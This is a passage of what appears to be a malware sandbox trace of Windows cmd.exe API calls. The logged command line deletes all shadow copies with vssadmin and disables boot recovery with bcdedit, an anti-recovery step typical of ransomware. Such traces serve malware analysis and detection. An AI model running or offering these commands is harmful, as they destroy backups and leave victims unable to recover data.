AllocationBase=0x170000, AllocationProtect=0x2, __alignment1=0x0, RegionSize=0x67000, State=0x1000, Protect=0x2, Type=0x40000, __alignment2=0x0)) returned 0x30 [0079.530] GetConsoleOutputCP () returned 0x1b5 [0079.530] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49d7bfe0 | out: lpCPInfo=0x49d7bfe0) returned 1 [0079.531] SetConsoleCtrlHandler (HandlerRoutine=0x49d63184, Add=1) returned 1 [0079.531] _get_osfhandle (_FileHandle=1) returned 0x7 [0079.531] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x0) returned 1 [0079.531] _get_osfhandle (_FileHandle=1) returned 0x7 [0079.531] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x49d6e194 | out: lpMode=0x49d6e194) returned 1 [0079.531] _get_osfhandle (_FileHandle=1) returned 0x7 [0079.532] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0079.532] _get_osfhandle (_FileHandle=0) returned 0x3 [0079.532] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x49d6e198 | out: lpMode=0x49d6e198) returned 1 [0079.532] _get_osfhandle (_FileHandle=0) returned 0x3 [0079.532] SetConsoleMode (hConsoleHandle=0x3, dwMode=0x1a7) returned 1 [0079.532] GetEnvironmentStringsW () returned 0x308cd0* [0079.532] GetProcessHeap () returned 0x2f0000 [0079.532] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0xa7c) returned 0x309760 [0079.533] FreeEnvironmentStringsW (penv=0x308cd0) returned 1 [0079.533] GetProcessHeap () returned 0x2f0000 [0079.533] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x8) returned 0x308b50 [0079.533] GetEnvironmentStringsW () returned 0x308cd0* [0079.533] GetProcessHeap () returned 0x2f0000 [0079.533] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0xa7c) returned 0x30a1f0 [0079.533] FreeEnvironmentStringsW (penv=0x308cd0) returned 1 [0079.533] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x16e888 | out: phkResult=0x16e888*=0x44) returned 0x0 [0079.533] RegQueryValueExW (in: hKey=0x44, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x16e880, lpData=0x16e8a0, lpcbData=0x16e884*=0x1000 | out: lpType=0x16e880*=0x0, lpData=0x16e8a0*=0x18, lpcbData=0x16e884*=0x1000) returned 0x2 [0079.533] RegQueryValueExW (in: hKey=0x44, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x16e880, lpData=0x16e8a0, lpcbData=0x16e884*=0x1000 | out: lpType=0x16e880*=0x4, lpData=0x16e8a0*=0x1, lpcbData=0x16e884*=0x4) returned 0x0 [0079.533] RegQueryValueExW (in: hKey=0x44, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x16e880, lpData=0x16e8a0, lpcbData=0x16e884*=0x1000 | out: lpType=0x16e880*=0x0, lpData=0x16e8a0*=0x1, lpcbData=0x16e884*=0x1000) returned 0x2 [0079.533] RegQueryValueExW (in: hKey=0x44, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x16e880, lpData=0x16e8a0, lpcbData=0x16e884*=0x1000 | out: lpType=0x16e880*=0x4, lpData=0x16e8a0*=0x0, lpcbData=0x16e884*=0x4) returned 0x0 [0079.533] RegQueryValueExW (in: hKey=0x44, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x16e880, lpData=0x16e8a0, lpcbData=0x16e884*=0x1000 | out: lpType=0x16e880*=0x4, lpData=0x16e8a0*=0x40, lpcbData=0x16e884*=0x4) returned 0x0 [0079.533] RegQueryValueExW (in: hKey=0x44, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x16e880, lpData=0x16e8a0, lpcbData=0x16e884*=0x1000 | out: lpType=0x16e880*=0x4, lpData=0x16e8a0*=0x40, lpcbData=0x16e884*=0x4) returned 0x0 [0079.533] RegQueryValueExW (in: hKey=0x44, lpValueName="AutoRun", lpReserved=0x0, lpType=0x16e880, lpData=0x16e8a0, lpcbData=0x16e884*=0x1000 | out: lpType=0x16e880*=0x0, lpData=0x16e8a0*=0x40, lpcbData=0x16e884*=0x1000) returned 0x2 [0079.533] RegCloseKey (hKey=0x44) returned 0x0 [0079.534] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x16e888 | out: phkResult=0x16e888*=0x44) returned 0x0 [0079.534] RegQueryValueExW (in: hKey=0x44, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x16e880, lpData=0x16e8a0, lpcbData=0x16e884*=0x1000 | out: lpType=0x16e880*=0x0, lpData=0x16e8a0*=0x40, lpcbData=0x16e884*=0x1000) returned 0x2 [0079.534] RegQueryValueExW (in: hKey=0x44, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x16e880, lpData=0x16e8a0, lpcbData=0x16e884*=0x1000 | out: lpType=0x16e880*=0x4, lpData=0x16e8a0*=0x1, lpcbData=0x16e884*=0x4) returned 0x0 [0079.534] RegQueryValueExW (in: hKey=0x44, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x16e880, lpData=0x16e8a0, lpcbData=0x16e884*=0x1000 | out: lpType=0x16e880*=0x0, lpData=0x16e8a0*=0x1, lpcbData=0x16e884*=0x1000) returned 0x2 [0079.534] RegQueryValueExW (in: hKey=0x44, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x16e880, lpData=0x16e8a0, lpcbData=0x16e884*=0x1000 | out: lpType=0x16e880*=0x4, lpData=0x16e8a0*=0x0, lpcbData=0x16e884*=0x4) returned 0x0 [0079.534] RegQueryValueExW (in: hKey=0x44, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x16e880, lpData=0x16e8a0, lpcbData=0x16e884*=0x1000 | out: lpType=0x16e880*=0x4, lpData=0x16e8a0*=0x9, lpcbData=0x16e884*=0x4) returned 0x0 [0079.534] RegQueryValueExW (in: hKey=0x44, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x16e880, lpData=0x16e8a0, lpcbData=0x16e884*=0x1000 | out: lpType=0x16e880*=0x4, lpData=0x16e8a0*=0x9, lpcbData=0x16e884*=0x4) returned 0x0 [0079.534] RegQueryValueExW (in: hKey=0x44, lpValueName="AutoRun", lpReserved=0x0, lpType=0x16e880, lpData=0x16e8a0, lpcbData=0x16e884*=0x1000 | out: lpType=0x16e880*=0x0, lpData=0x16e8a0*=0x9, lpcbData=0x16e884*=0x1000) returned 0x2 [0079.534] RegCloseKey (hKey=0x44) returned 0x0 [0079.534] time (in: timer=0x0 | out: timer=0x0) returned 0x5e793f2e [0079.534] srand (_Seed=0x5e793f2e) [0079.534] GetCommandLineW () returned="\"C:\\Windows\\System32\\cmd.exe\" /c C:\\Windows\\System32\\vssadmin.exe delete shadows /all /quiet & C:\\Windows\\System32\\bcdedit.exe /set {default} recoveryenabled No & C:\\Windows\\System32\\bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures" [0079.534] GetCommandLineW () returned="\"C:\\Windows\\System32\\cmd.exe\" /c C:\\Windows\\System32\\vssadmin.exe delete shadows /all /quiet & C:\\Windows\\System32\\bcdedit.exe /set {default} recoveryenabled No & C:\\Windows\\System32\\bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures" [0079.534] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x49d7c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0079.535] GetProcessHeap () returned 0x2f0000 [0079.535] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x218) returned 0x30ac80 [0079.535] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x30ac90, nSize=0x104 | out: lpFilename="C:\\Windows\\System32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe")) returned 0x1b [0079.535] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x49d6f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0079.535] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x49d6f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0079.535] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x49d6f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0079.535] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13 [0079.535] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11 [0079.535] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13 [0079.535] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13 [0079.535] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12 [0079.535] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4 [0079.535] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2 [0079.535] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8 [0079.535] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1 [0079.535] GetProcessHeap () returned 0x2f0000 [0079.535] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x309760 | out: hHeap=0x2f0000) returned 1 [0079.535] GetEnvironmentStringsW () returned 0x308cd0* [0079.535] GetProcessHeap () returned 0x2f0000 [0079.535] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0xa94) returned 0x30b940 [0079.536] FreeEnvironmentStringsW (penv=0x308cd0) returned 1 [0079.536] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x49d6f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0079.536] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x49d6f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0079.536] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0079.536] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0079.536] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0079.536] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0079.536] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0079.536] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0079.536] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0079.536] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0079.536] GetProcessHeap () returned 0x2f0000 [0079.536] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x5c) returned 0x2f1320 [0079.536] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x16f690 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0079.536] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x104, lpBuffer=0x16f690, lpFilePart=0x16f670 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x16f670*="Desktop") returned 0x25 [0079.536] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0079.536] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x16f3a0 | out: lpFindFileData=0x16f3a0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xbf0000bf, cFileName="Users", cAlternateFileName="")) returned 0x2f1390 [0079.537] FindClose (in: hFindFile=0x2f1390 | out: hFindFile=0x2f1390) returned 1 [0079.537] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFindFileData=0x16f3a0 | out: lpFindFileData=0x16f3a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xbf0000bf, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 0x2f1390 [0079.537] FindClose (in: hFindFile=0x2f1390 | out: hFindFile=0x2f1390) returned 1 [0079.537] _wcsnicmp (_String1="5P5NRG~1", _String2="5p5NrGJn0jS HALPmcxz", _MaxCount=0x14) returned 20 [0079.537] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFindFileData=0x16f3a0 | out: lpFindFileData=0x16f3a0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x9dd8c750, ftLastAccessTime.dwHighDateTime=0x1d60166, ftLastWriteTime.dwLowDateTime=0x9dd8c750, ftLastWriteTime.dwHighDateTime=0x1d60166, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xbf0000bf, cFileName="Desktop", cAlternateFileName="")) returned 0x2f1390 [0079.537] FindClose (in: hFindFile=0x2f1390 | out: hFindFile=0x2f1390) returned 1 [0079.537] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0079.537] SetCurrentDirectoryW (lpPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 1 [0079.537] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 1 [0079.537] GetProcessHeap () returned 0x2f0000 [0079.537] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30b940 | out: hHeap=0x2f0000) returned 1 [0079.537] GetEnvironmentStringsW () returned 0x308cd0* [0079.537] GetProcessHeap () returned 0x2f0000 [0079.537] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0xae8) returned 0x30aea0 [0079.537] FreeEnvironmentStringsW (penv=0x308cd0) returned 1 [0079.537] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x49d7c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0079.537] GetProcessHeap () returned 0x2f0000 [0079.538] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x2f1320 | out: hHeap=0x2f0000) returned 1 [0079.538] GetProcessHeap () returned 0x2f0000 [0079.538] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x4016) returned 0x30ced0 [0079.538] GetProcessHeap () returned 0x2f0000 [0079.538] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x1bc) returned 0x30b990 [0079.538] GetProcessHeap () returned 0x2f0000 [0079.538] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30ced0 | out: hHeap=0x2f0000) returned 1 [0079.538] GetConsoleOutputCP () returned 0x1b5 [0079.538] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49d7bfe0 | out: lpCPInfo=0x49d7bfe0) returned 1 [0079.538] GetUserDefaultLCID () returned 0x409 [0079.539] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x49d77b50, cchData=8 | out: lpLCData=":") returned 2 [0079.539] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x16f7a0, cchData=128 | out: lpLCData="0") returned 2 [0079.539] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x16f7a0, cchData=128 | out: lpLCData="0") returned 2 [0079.539] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x16f7a0, cchData=128 | out: lpLCData="1") returned 2 [0079.539] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x49d8a740, cchData=8 | out: lpLCData="/") returned 2 [0079.539] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x49d8a4a0, cchData=32 | out: lpLCData="Mon") returned 4 [0079.540] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x49d8a460, cchData=32 | out: lpLCData="Tue") returned 4 [0079.540] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x49d8a420, cchData=32 | out: lpLCData="Wed") returned 4 [0079.540] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x49d8a3e0, cchData=32 | out: lpLCData="Thu") returned 4 [0079.540] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x49d8a3a0, cchData=32 | out: lpLCData="Fri") returned 4 [0079.540] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x49d8a360, cchData=32 | out: lpLCData="Sat") returned 4 [0079.540] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x49d8a700, cchData=32 | out: lpLCData="Sun") returned 4 [0079.540] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x49d77b40, cchData=8 | out: lpLCData=".") returned 2 [0079.540] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x49d8a4e0, cchData=8 | out: lpLCData=",") returned 2 [0079.540] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0079.541] GetProcessHeap () returned 0x2f0000 [0079.541] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x0, Size=0x20c) returned 0x30bbd0 [0079.541] GetConsoleTitleW (in: lpConsoleTitle=0x30bbd0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\System32\\cmd.exe") returned 0x1b [0079.541] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x77940000 [0079.541] GetProcAddress (hModule=0x77940000, lpProcName="CopyFileExW") returned 0x779523d0 [0079.541] GetProcAddress (hModule=0x77940000, lpProcName="IsDebuggerPresent") returned 0x77948290 [0079.541] GetProcAddress (hModule=0x77940000, lpProcName="SetConsoleInputExeNameW") returned 0x779517e0 [0079.541] GetProcessHeap () returned 0x2f0000 [0079.541] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x4012) returned 0x30ced0 [0079.541] GetProcessHeap () returned 0x2f0000 [0079.541] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30ced0 | out: hHeap=0x2f0000) returned 1 [0079.544] _wcsicmp (_String1="C:\\Windows\\System32\\vssadmin.exe", _String2=")") returned 58 [0079.544] _wcsicmp (_String1="FOR", _String2="C:\\Windows\\System32\\vssadmin.exe") returned 3 [0079.544] _wcsicmp (_String1="FOR/?", _String2="C:\\Windows\\System32\\vssadmin.exe") returned 3 [0079.544] _wcsicmp (_String1="IF", _String2="C:\\Windows\\System32\\vssadmin.exe") returned 6 [0079.544] _wcsicmp (_String1="IF/?", _String2="C:\\Windows\\System32\\vssadmin.exe") returned 6 [0079.544] _wcsicmp (_String1="REM", _String2="C:\\Windows\\System32\\vssadmin.exe") returned 15 [0079.544] _wcsicmp (_String1="REM/?", _String2="C:\\Windows\\System32\\vssadmin.exe") returned 15 [0079.544] GetProcessHeap () returned 0x2f0000 [0079.544] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0xb0) returned 0x30bdf0 [0079.544] GetProcessHeap () returned 0x2f0000 [0079.544] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x52) returned 0x30beb0 [0079.545] GetProcessHeap () returned 0x2f0000 [0079.545] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x4a) returned 0x30bf10 [0079.546] GetProcessHeap () returned 0x2f0000 [0079.546] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0xb0) returned 0x30bf70 [0079.549] _wcsicmp (_String1="C:\\Windows\\System32\\bcdedit.exe", _String2=")") returned 58 [0079.549] _wcsicmp (_String1="FOR", _String2="C:\\Windows\\System32\\bcdedit.exe") returned 3 [0079.549] _wcsicmp (_String1="FOR/?", _String2="C:\\Windows\\System32\\bcdedit.exe") returned 3 [0079.549] _wcsicmp (_String1="IF", _String2="C:\\Windows\\System32\\bcdedit.exe") returned 6 [0079.550] _wcsicmp (_String1="IF/?", _String2="C:\\Windows\\System32\\bcdedit.exe") returned 6 [0079.550] _wcsicmp (_String1="REM", _String2="C:\\Windows\\System32\\bcdedit.exe") returned 15 [0079.550] _wcsicmp (_String1="REM/?", _String2="C:\\Windows\\System32\\bcdedit.exe") returned 15 [0079.550] GetProcessHeap () returned 0x2f0000 [0079.550] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0xb0) returned 0x30c030 [0079.550] GetProcessHeap () returned 0x2f0000 [0079.550] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x50) returned 0x30c0f0 [0079.551] GetProcessHeap () returned 0x2f0000 [0079.551] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x58) returned 0x30c150 [0079.551] GetProcessHeap () returned 0x2f0000 [0079.552] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0xb0) returned 0x30c1b0 [0079.554] _wcsicmp (_String1="C:\\Windows\\System32\\bcdedit.exe", _String2=")") returned 58 [0079.554] _wcsicmp (_String1="FOR", _String2="C:\\Windows\\System32\\bcdedit.exe") returned 3 [0079.554] _wcsicmp (_String1="FOR/?", _String2="C:\\Windows\\System32\\bcdedit.exe") returned 3 [0079.554] _wcsicmp (_String1="IF", _String2="C:\\Windows\\System32\\bcdedit.exe") returned 6 [0079.554] _wcsicmp (_String1="IF/?", _String2="C:\\Windows\\System32\\bcdedit.exe") returned 6 [0079.554] _wcsicmp (_String1="REM", _String2="C:\\Windows\\System32\\bcdedit.exe") returned 15 [0079.555] _wcsicmp (_String1="REM/?", _String2="C:\\Windows\\System32\\bcdedit.exe") returned 15 [0079.555] GetProcessHeap () returned 0x2f0000 [0079.555] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0xb0) returned 0x30c270 [0079.555] GetProcessHeap () returned 0x2f0000 [0079.555] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x50) returned 0x30c330 [0079.556] GetProcessHeap () returned 0x2f0000 [0079.556] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x76) returned 0x2f1320 [0079.557] GetConsoleTitleW (in: lpConsoleTitle=0x16f5f0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\System32\\cmd.exe") returned 0x1b [0079.557] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0079.557] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0079.557] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x16f180, nVolumeNameSize=0x104, lpVolumeSerialNumber=0x16f160, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer="SYSTEM", lpVolumeSerialNumber=0x16f160*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0079.558] GetProcessHeap () returned 0x2f0000 [0079.558] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x218) returned 0x2f13a0 [0079.558] GetProcessHeap () returned 0x2f0000 [0079.558] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x8c) returned 0x2f15c0 [0079.558] _wcsnicmp (_String1="C:\\W", _String2="cmd ", _MaxCount=0x4) returned -51 [0079.558] GetProcessHeap () returned 0x2f0000 [0079.559] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x420) returned 0x2f1660 [0079.559] SetErrorMode (uMode=0x0) returned 0x0 [0079.559] SetErrorMode (uMode=0x1) returned 0x0 [0079.559] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\.", nBufferLength=0x208, lpBuffer=0x2f1670, lpFilePart=0x16ee80 | out: lpBuffer="C:\\Windows\\System32", lpFilePart=0x16ee80*="System32") returned 0x13 [0079.559] SetErrorMode (uMode=0x0) returned 0x1 [0079.559] GetProcessHeap () returned 0x2f0000 [0079.559] RtlReAllocateHeap (Heap=0x2f0000, Flags=0x0, Ptr=0x2f1660, Size=0x52) returned 0x2f1660 [0079.559] GetProcessHeap () returned 0x2f0000 [0079.559] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x2f1660) returned 0x52 [0079.559] NeedCurrentDirectoryForExePathW (ExeName="C:\\Windows\\System32\\.") returned 1 [0079.559] GetProcessHeap () returned 0x2f0000 [0079.559] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x3e) returned 0x30c390 [0079.559] GetProcessHeap () returned 0x2f0000 [0079.559] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x68) returned 0x2f16d0 [0079.560] GetProcessHeap () returned 0x2f0000 [0079.560] RtlReAllocateHeap (Heap=0x2f0000, Flags=0x0, Ptr=0x2f16d0, Size=0x3e) returned 0x2f16d0 [0079.560] GetProcessHeap () returned 0x2f0000 [0079.560] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x2f16d0) returned 0x3e [0079.560] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x49d6f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0079.560] GetProcessHeap () returned 0x2f0000 [0079.560] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0xe8) returned 0x2f1720 [0079.567] GetProcessHeap () returned 0x2f0000 [0079.567] RtlReAllocateHeap (Heap=0x2f0000, Flags=0x0, Ptr=0x2f1720, Size=0x7e) returned 0x2f1720 [0079.567] GetProcessHeap () returned 0x2f0000 [0079.567] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x2f1720) returned 0x7e [0079.571] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0079.571] FindFirstFileExW (in: lpFileName="C:\\Windows\\System32\\vssadmin.exe", fInfoLevelId=0x1, lpFindFileData=0x16ebf0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x16ebf0) returned 0x2f17b0 [0079.571] GetProcessHeap () returned 0x2f0000 [0079.571] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x0, Size=0x28) returned 0x304800 [0079.571] FindClose (in: hFindFile=0x2f17b0 | out: hFindFile=0x2f17b0) returned 1 [0079.571] _wcsicmp (_String1=".exe", _String2=".CMD") returned 2 [0079.572] _wcsicmp (_String1=".exe", _String2=".BAT") returned 3 [0079.572] GetConsoleTitleW (in: lpConsoleTitle=0x16f140, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\System32\\cmd.exe") returned 0x1b [0079.572] InitializeProcThreadAttributeList (in: lpAttributeList=0x16eef8, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x16eeb8 | out: lpAttributeList=0x16eef8, lpSize=0x16eeb8) returned 1 [0079.572] UpdateProcThreadAttribute (in: lpAttributeList=0x16eef8, dwFlags=0x0, Attribute=0x60001, lpValue=0x16eea8, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x16eef8, lpPreviousValue=0x0) returned 1 [0079.572] GetStartupInfoW (in: lpStartupInfo=0x16f010 | out: lpStartupInfo=0x16f010*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\System32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x1, hStdOutput=0x0, hStdError=0x0)) [0079.572] GetProcessHeap () returned 0x2f0000 [0079.572] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x20) returned 0x304830 [0079.572] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0079.572] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0079.572] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0079.572] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0079.572] _wcsnicmp 